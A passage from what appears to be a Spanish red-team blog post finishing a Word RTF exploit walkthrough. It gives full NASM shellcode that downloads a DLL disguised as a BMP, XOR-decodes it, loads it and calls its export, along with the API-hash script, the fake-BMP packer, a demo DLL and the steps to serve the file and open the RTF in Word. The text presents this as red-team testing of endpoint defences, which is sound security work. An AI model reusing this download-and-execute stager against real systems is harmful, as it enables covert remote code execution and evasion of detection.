eip=0f8f4890 esp=0f8f4890 ebp=00644c48 iopl=0 nv up ei pl nz na po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200202 0f8f4890 cc int 3
Sólo nos queda escribir una shellcode. ASM es bonito, pero es preferible escribir en C, así que la shellcode sencillita que utilizaremos hará lo siguiente:
- Descargar una DLL de internet
- Cargar la DLL mediante LoadLibrary
Sin embargo, descargar una DLL es algo que puede llamar bastante la atención, por lo que vamos a camuflar un poco haciéndolo pasar por un BMP de una manera muy naiv: el archivo que descargaremos contendrá 58 bytes de una cabecera BMP seguidos del contenido de la DLL xor’eada con un valor fijo. En pseudoCódigo:
char url[] = "https://127.0.0.1:8000/asd.bmp"; char download_path[256] = { 0 }; HANDLE hnd, lib; DWORD filesize, nbytes; DWORD tmp; char *dll, *bmp; int (*pwn)(void); URLDownloadToCacheFileA(NULL, url, download_path, 255, 0, NULL); hnd = CreateFileA( download_path, GENERIC_READ | GENERIC_WRITE, FILE_SHARED_READ, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL ); filesize = GetFileSize(hnd, NULL); bmp = VirtualAlloc(NULL, filesize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); ReadFile(hnd, bmp, filesize, &nbytes, NULL); dll = bmp + 58; for(unsigned int i = 0; i < filesize; i += 4) { tmp = * ((DWORD *) &dll[i]); tmp ^= 0x1337c0de } SetFilePointer(hnd, 0, 0, FILE_BEGIN); WriteFile(hnd, dll, filesize - 58, &nbytes, NULL); SetEndOfFile(hnd); CloseHandle(hnd); lib = LoadLibraryA(download_path); pwn = GetProcAddress(lib, "doit"); pwn();
Utilizaremos NASM para traducir esto a ASM. Lo primero que necesitamos es una manera de localizar funciones de la WinApi. Esto es un tema resuelto hace mucho tiempo, y para el que hay implementaciones públicas. Utilizaremos la de Metasploit.
Nuestra shellcode comenzará definiendo todas las constantes que necesitamos. Escribimos en pwn.asm:
BITS 32 ORG 0 MEM_COMMIT: equ 0x00001000 MEM_RESERVE: equ 0x00002000 PAGE_EXECUTE: equ 0x10 PAGE_EXECUTE_READ: equ 0x20 PAGE_EXECUTE_READWRITE: equ 0x40 PAGE_READWRITE: equ 0x04 GENERIC_READ: equ 0x80000000 GENERIC_WRITE: equ 0x40000000 FILE_SHARE_READ: equ 0x01 OPEN_EXISTING: equ 0x03 FILE_ATTRIBUTE_NORMAL: equ 0x80 FILE_BEGIN: equ 0x00
El código de metasploit es sencillo de utilizar. Para llamar a una función de la WinApi, usualmente se hace lo siguiente:
push arg_N push arg_N-1 ... push arg_1 push arg_0 call winapi
Con la shellcode de MSF, se añade un parámetro adicional, un hash simple del nombre de la librería y la función que se quiere llamar. La shellcode recorrerá la lista de módulos disponibles en el proceso, calculando el hash del módulo y todas sus funciones, una a una, hasta dar con una que coincida. Por tanto:
push arg_N push arg_N-1 ... push arg_1 push arg_0 push HASH call msf_api
Definamos entonces los hashes de las funciones que queremos utilizar. El código para calcular estos hashes se extrajo de aquí.
import sys def ror( dword, bits ): return ( dword >> bits | dword << ( 32 - bits ) ) & 0xFFFFFFFF #=============================================================================# def unicode( string, uppercase=True ): result = ""; if uppercase: string = string.upper() for c in string: result += c + "\x00" return result #=============================================================================# def hash( module, function, bits=13, print_hash=True ): module_hash = 0 function_hash = 0 for c in unicode( module + "\x00" ): module_hash = ror( module_hash, bits ) module_hash += ord( c ) for c in str( function + "\x00" ): function_hash = ror( function_hash, bits ) function_hash += ord( c ) h = module_hash + function_hash & 0xFFFFFFFF if print_hash: print "[+] 0x%08X = %s!%s" % ( h, module.lower(), function ) return h if __name__ == '__main__': for x in sys.argv[1:]: module, function = x.split(":", 2) print module, function, hex(hash(module, function, print_hash=False))
Añadimos las definiciones a pwn.asm:
VIRTUALALLOC_HASH: equ 0xe553a458 VIRTUALPROTECT_HASH: equ 0xc38ae11 URLDOWNLOADTOCACHEFILE_HASH equ 0xdac0c98f GETFILESIZE_HASH: equ 0x701e12c6 CREATEFILE_HASH: equ 0x4fdaf6da READFILE_HASH: equ 0xbb5f9ead WRITEFILE_HASH: equ 0x5bae572d SETFILEPOINTER_HASH: equ 0xd812cdaa SETENDOFFILE_HASH: equ 0xd7e3cbdb CLOSEHANDLE_HASH: equ 0x528796c6 LOADLIBRARY_HASH: equ 0x726774c GETPROCADDRESS_HASH: equ 0x7802f749 DELETEFILE_HASH: equ 0x13dd2ed7 EXITPROCESS_HASH: equ 0x56a2b5f0
Y definamos una estructura en la que guardaremos nuestras variables:
STRUC mydata .api_call: resd 1 ; guardaremos la dirección de la función de MSF .filehandle: resd 1 ; HANDLE del archivo devuelto por CreateFileA .filebuf: resd 1 ; puntero devuelto por VirtualAlloc .filesize: resd 1 ; tamaño devuelto por GetFileSize .nbytes: resd 1 ; escrito por ReadFile y WriteFile .url: resb 256 ; URL desde la que descargaremos el BMP .down_filename: resb 256 ; URLDownloadToCacheFileA escribirá aquí la ruta donde guardó el archivo .apiname: resb 64 ; la cadena "doit" usada en GetProcAddress ENDSTRUC
Y comenzamos a escribir el código:
cld call start %include "block_api.asm" ; start: pop ebp ; ebp -> api MSF ; reservamos espacio para mydata push dword PAGE_READWRITE push dword (MEM_COMMIT | MEM_RESERVE) push mydata_size push 0 push VIRTUALALLOC_HASH call ebp ; guardamos la dirección de la api de MSF y utilizamos ebp como puntero a mydata mov dword [eax + mydata.api_call], ebp mov ebp, eax ; url = "https://127.0.0.1:8000/asd.bmp" mov dword [ebp + mydata.url], 0x70747468 mov dword [ebp + mydata.url + 4], 0x312f2f3a mov dword [ebp + mydata.url + 8], 0x302e3732 mov dword [ebp + mydata.url + 12], 0x312e302e mov dword [ebp + mydata.url + 16], 0x3030383a mov dword [ebp + mydata.url + 20], 0x73612f30 mov dword [ebp + mydata.url + 24], 0x6d622e64 mov dword [ebp + mydata.url + 28], 0x00000070 ; apiname = "doit" mov dword [ebp + mydata.apiname], 0x74696f64 mov dword [ebp + mydata.apiname + 4], 0x00000000 ; UrlDownloadToCacheFileA(mydata.url, mydata.url_filename, 254, 0, NULL); push 0 ; pBSC push 0 ; dwReserved push 254 ; cchFileName lea eax, [ebp + mydata.down_filename] push eax ; szFileName lea eax, [ebp + mydata.url] push eax ; szUrl push 0 ; lpUnkCaller push URLDOWNLOADTOCACHEFILE_HASH call dword [ebp + mydata.api_call] ; mydata.filehandle = CreateFileA( ; mydata.url_filename, ; GENERIC_READ | GENERIC_WRITE, ; FILE_SHARED_READ, ; 0, ; OPEN_EXISTING, ; FILE_ATTRIBUTE_NORMAL, ; NULL ; ) push dword 0 ; hTemplateFile push dword FILE_ATTRIBUTE_NORMAL ; dwFlagsAndAttributes push dword OPEN_EXISTING ; dwCreationDisposition push dword 0 ; lpSecurityAttributes push dword FILE_SHARE_READ ; dwShareMode push dword (GENERIC_READ | GENERIC_WRITE) ; dwDesiredAccess lea eax, [ebp + mydata.down_filename] push eax push CREATEFILE_HASH call dword [ebp + mydata.api_call] mov dword [ebp + mydata.filehandle], eax ; mydata.filesize = GetFileSize(mydata.filehandle, NULL) push dword 0 ; lpFileSizeHigh push eax ; hFile push GETFILESIZE_HASH call dword [ebp + mydata.api_call] mov dword [ebp + mydata.filesize], eax ; mydata.filebuf = VirtualAlloc( ; NULL, ; mydata.filesize, ; MEM_COMMIT | MEM_RESERVE, ; PAGE_READWRITE ; ); push dword PAGE_READWRITE push dword (MEM_COMMIT | MEM_RESERVE) push eax push 0 push VIRTUALALLOC_HASH call dword [ebp + mydata.api_call] mov dword [ebp + mydata.filebuf], eax ; ReadFile( ; mydata.filehandle, ; mydata.filebuf, ; mydata.filesize, ; &mydata.nbytes, ; NULL ; ) push dword 0 ; lpOverlapped lea ecx, [ebp + mydata.nbytes] push ecx ; lpNumberOfBytesRead mov ecx, dword [ebp + mydata.filesize] push ecx ; nNumberOfBytesToRead push eax ; lpBuffer mov eax, dword [ebp + mydata.filehandle] push eax ; hFile push READFILE_HASH call dword [ebp + mydata.api_call] ; dll = bmp + 58; ; for(unsigned int i = 0; i < filesize; i += 4) { ; tmp = * ((DWORD *) &dll[i]); ; tmp ^= 0x1337c0de ; } mov edi, dword [ebp + mydata.filebuf] add edi, 58 mov ecx, dword [ebp + mydata.filesize] sub ecx, 58 sar ecx, 2 decode_loop: xor dword [edi], 0x1337c0de add edi, 4 dec ecx jnz decode_loop ; SetFilePointer(mydata.filehandle, 0, 0, FILE_BEGIN) push dword FILE_BEGIN ; dwMoveMethod push dword 0 ; lpDistanceToMoveHigh push dword 0 ; lDistanceToMove mov eax, dword [ebp + mydata.filehandle] push eax push SETFILEPOINTER_HASH call dword [ebp + mydata.api_call] ; WriteFile( ; mydata.filehandle, ; mydata.filebuf + 58, ; mydata.filesize - 58, ; &mydata.nbytes, ; NULL ; ) push dword 0 ; lpOverlapped lea eax, [ebp + mydata.nbytes] push eax ; lpNumberOfBytesWritten mov eax, dword [ebp + mydata.filesize] sub eax, 58 push eax ; nNumberOfBytesToWrite mov eax, dword [ebp + mydata.filebuf] add eax, 58 push eax ; lpBuffer mov eax, dword [ebp + mydata.filehandle] push eax ; hFile push WRITEFILE_HASH call dword [ebp + mydata.api_call] ; SetEndOfFile(mydata.filehandle) mov eax, dword [ebp + mydata.filehandle] push eax push SETENDOFFILE_HASH call dword [ebp + mydata.api_call] ; CloseHandle(mydata.filehandle) mov eax, dword [ebp + mydata.filehandle] push eax push CLOSEHANDLE_HASH call dword [ebp + mydata.api_call] ; eax = LoadLibraryA(mydata.down_filename) lea eax, [ebp + mydata.down_filename] push eax push LOADLIBRARY_HASH call dword [ebp + mydata.api_call] ; eax = GetProcAddress(eax, mydata.apiname) lea ebx, [ebp + mydata.apiname] push ebx push eax push GETPROCADDRESS_HASH call dword [ebp + mydata.api_call] ; eax() call eax ; ExitProcess() push 0 push EXITPROCESS_HASH call dword [ebp + mydata.api_call]
Finalizaremos la shellcode con una llamada a ExitProcess(). Ensamblamos:
$ nasm -o pwn.bin pwn.asm $ ls -la pwn.bin -rw-r--r-- 1 i i 519 Nov 8 11:36 pwn.bin
Modificamos ligeramente el código que genera nuestro payload para que cargue la shellcode de este archivo:
shellcode = open("pwn.bin", "rb").read()
Creamos una DLL que nos muestre un mensaje:
#include int __declspec(dllexport) doit() { HANDLE current_process; char modulepath[MAX_PATH] = { 0 }; char *txt = NULL; current_process = GetModuleHandleA(NULL); if (NULL != current_process) { if (0 != GetModuleFileNameA((HMODULE)current_process, modulepath, MAX_PATH)) { txt = modulepath; } } if (NULL == txt) { txt = ""; } MessageBoxA(NULL, txt, "Hi from", MB_OK); return 0; } BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; }
Creamos el falso BMP:
import struct import sys k = struct.pack("<L", 0x1337c0de) key = bytearray(k) if __name__ == '__main__': f = open(sys.argv[1], "rb") b = bytearray(f.read()) f.close() for i in range(len(b)): b[i] = b[i] ^ key[i % len(key)] f = open(sys.argv[2], "wb") b = ("a" * 58) + b ; not a bmp huh? f.write(b) f.close()
Iniciamos un servidor HTTP en la carpeta donde tenemos asd.bmp:
$ python -m SimpleHTTPServer 8000
Y abrimos el RTF con Word.
0x06 – Conclusión
Este tipo de ejercicios e investigaciones realizadas por parte del Red Team permiten comprobar si el nivel de bastionado de las máquinas y las supuestas soluciones anti-APT o EDR desplegadas en nuestros clientes son realmente eficaces y están cumpliendo con su función. Adicionalmente, irrumpir en las redes corporativas a través de la explotación de una vulnerabilidad de estas características, emulando el comportamiento de un APT, permite entrenar a los equipos de respuesta ante incidentes.
Descubre nuestro trabajo y nuestros servicios de ciberseguridad en www.tarlogic.com/es/